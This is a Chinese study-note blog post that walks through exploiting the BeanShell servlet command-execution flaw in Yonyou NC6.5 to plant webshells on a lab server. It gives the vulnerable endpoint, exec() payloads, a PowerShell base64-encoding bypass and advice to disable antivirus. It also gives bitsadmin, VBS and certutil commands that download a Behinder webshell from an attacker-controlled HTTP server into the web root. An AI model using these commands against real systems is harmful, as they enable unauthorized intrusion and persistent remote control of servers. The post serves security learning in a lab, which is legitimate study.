nc65命令执行漏洞上传webshell学习笔记

nc65命令执行漏洞上传webshell学习笔记

免责声明:
此文为本人学习笔记,不承担任何法律责任。
访问者在从事与本站相关的所有⾏为(包括但不限于访问浏览、利⽤、转载、宣传介绍)时,必须以善意且谨慎的态度⾏事;访问者不得利⽤本⽹站以任何⽅式直接或者间接的从事违反中国法律、国际公约以及社会公德的⾏为,且访问者应当恪守下述承诺:
1、传输和利⽤信息符合中国法律、国际公约的规定、符合公序良俗;
2、不将本⽹站以及与之相关的⽹络服务⽤作⾮法⽤途以及⾮正当⽤途;
3、不⼲扰和扰乱本⽹站以及与之相关的⽹络服务;
4、遵守与本⽹站以及与之相关的⽹络服务的协议、规定、程序和惯例等。

实验环境

靶机:win server 2008r2 + sql server2008r2 + nc6.5
网上下载的nc65的安装包,这里就不发了,不确定有没有加点其他东西。安装参考博主,链接https://blog.youkuaiyun.com/weixin_38766356/article/details/103983787

安装时,遇到一个数据源测试不通过的问题,报错显示java.lang ClassNot foundException: not found sqlserver driver
解决办法是把数据源驱动列表中显示的路径文件sqlserver_2008/sqljdbc4.jar包(本机是c:\yonyou\home\driver\sqlserver_2008)复制到/jdk/lib目录下(本机是c:\yonyou\home\ufjdk\lib)之后重启一下就行了。
还有开放端口不能冲突,我改到81端口了。

部署完之后调一下JAVA的安全级别或者例外站点,启用activeX等,这个网上也多的很,不多赘述。
还有一点挺坑的,在地址栏输入127.0.0.1出来的网页系统那栏没有下拉选项,我还以为我部署错了,后来各种查询才知道要加/admin.jsp才是管理员的界面,root空密码登录即可。吓我一跳。。。毕竟辛辛苦苦装的。
运行startServer.bat

环境就搭完了,开始正题

nc6.5 BeanShell Test Servlet命令执行

下面列举了几种利用命令执行漏洞上传\下载webshell的几种方式

测试第一种命令执行方法echo直接上传

漏洞地址

ip:端口/servlet/~ic/bsh.servlet.BshServlet

漏洞页面

http://192.168.2.11:81/servlet/~ic/bsh.servlet.BshServlet

任意命令执行写个webshell

先找一下web的路径,上传位置

dir一下看到beanshell的位置是在C:\yonyou\home,继续找

dir

web最终找到的路径是
  • C:\yonyou\home\webapps\nc_web\

路径

测试写一个文件到web目录

但是beanshell 命令执行写webshell时,命令内容无法被解析

exec("cmd /c echo "123" > webapps/nc_web/123.jsp")

测试webshell

请求页面出错

出错啦
猜测这里肯定是因为特殊符号的闭合或者过滤导致的
再试试用\转义一下""

exec("cmd /c echo \"4234\" > webapps/nc_web/123.jsp")

结果

具体产生原因涉及到了我的知识盲区,网上的大佬有结论说是java JDK沙盒机制会进行checkExec,执行命令的机制仅仅检查并执行命令数组中的第一个,而分隔符后面的所有东西都是默认为被执行程序的参数。搜索资料可能因素有:参考https://www.freesion.com/article/3697975093/
1、重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义
2、空格的参数会被StringTokenizer类破坏,命令不能带有空格或管道符,否则会被截断。ls “My Directory” 会被解释为 ls ‘"My’ ‘Directory"’

那就是不能有空格之类的特殊符号嘛,base64编码绕过特殊字符就好了

win环境powershell的base64编码绕过特殊字符

开始测试echo直接上传

测试语句

echo "123" > webapps/nc_web/123.jsp

以上语句编码后

ZWNobyAiMTIzIiA+IHdlYmFwcHMvbmNfd2ViLzEyMy5qc3A=

执行

 exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ZWNobyAiMTIzIiA+IHdlYmFwcHMvbmNfd2ViLzEyMy5qc3A=

死活就是没反应
后来发现powershell编码还不能直接base64转

用刚才大佬提供的web转码工具,其中powershell转码 使用了base64+unescape(“%00”)方法 ,其他bash等使用正常的base64经过转码
转换工具源码在最后附上

转码后

ZQBjAGgAbwAgACIAMQAyADMAIgAgAD4AIAB3AGUAYgBhAHAAcABzAC8AbgBjAF8AdwBlAGIALwAxADIAMwAuAGoAcwBwAA==

执行

 exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ZQBjAGgAbwAgACIAMQAyADMAIgAgAD4AIAB3AGUAYgBhAHAAcABzAC8AbgBjAF8AdwBlAGIALwAxADIAMwAuAGoAcwBwAA==")

拦截

让360给拦截了,气不气。。。
赶紧关掉360全家桶再来一遍

成功

ok,测试成功

接下来123替换马就可以上工具了,这就不多说了

测试第二种方法使用bitsadmin下载webshell

1.先在本机上开一个简易网站,提供冰蝎webshell的下载
cd ##webshell所在目录
python -m http.server 8080

请添加图片描述

2.下载命令
bitsadmin /rawreturn /transfer down http://192.168.2.197:8080/bxwebshell.jsp c:\yonyou\home\webapps\nc_web\2.jsp

这里直接运行会报错
baocuo2
按照提示信息,出错位置在C:\这个路径的\处,经过各种实验绕过。。。突然灵机一动,这个\应该是需要转义的,转义符就是\,所以命令应该变成两个\

bitsadmin /rawreturn /transfer down http://192.168.2.197:8080/bxwebshell.jsp c:\\yonyou\\home\\webapps\\nc_web\\2.jsp
jieguo2
成功执行
验证2

ok,测试成功

测试第三种方法使用vbs 下载webshell

直接写入set会报错。
尝试使用base64编码echo写入,原理和第一种差不多需要编码过滤空格和特殊字符,这里就不测试了

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs

测试第四种方法使用certuil 下载webshell

使用工具下载的命令

certutil -urlcache -split -f http://192.168.2.197:8080/bxwebshell.jsp

1.先在本机上开一个简易网站,提供冰蝎webshell的下载
cd ##webshell所在目录
python -m http.server 8080

请添加图片描述

直接运行命令试试看

exec ("certutil -urlcache -split -f http://192.168.2.197:8080/bxwebshell.jsp")

请添加图片描述
看样子应该可以,

xiazaichenggong

2.指定下载的位置到web目录

                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值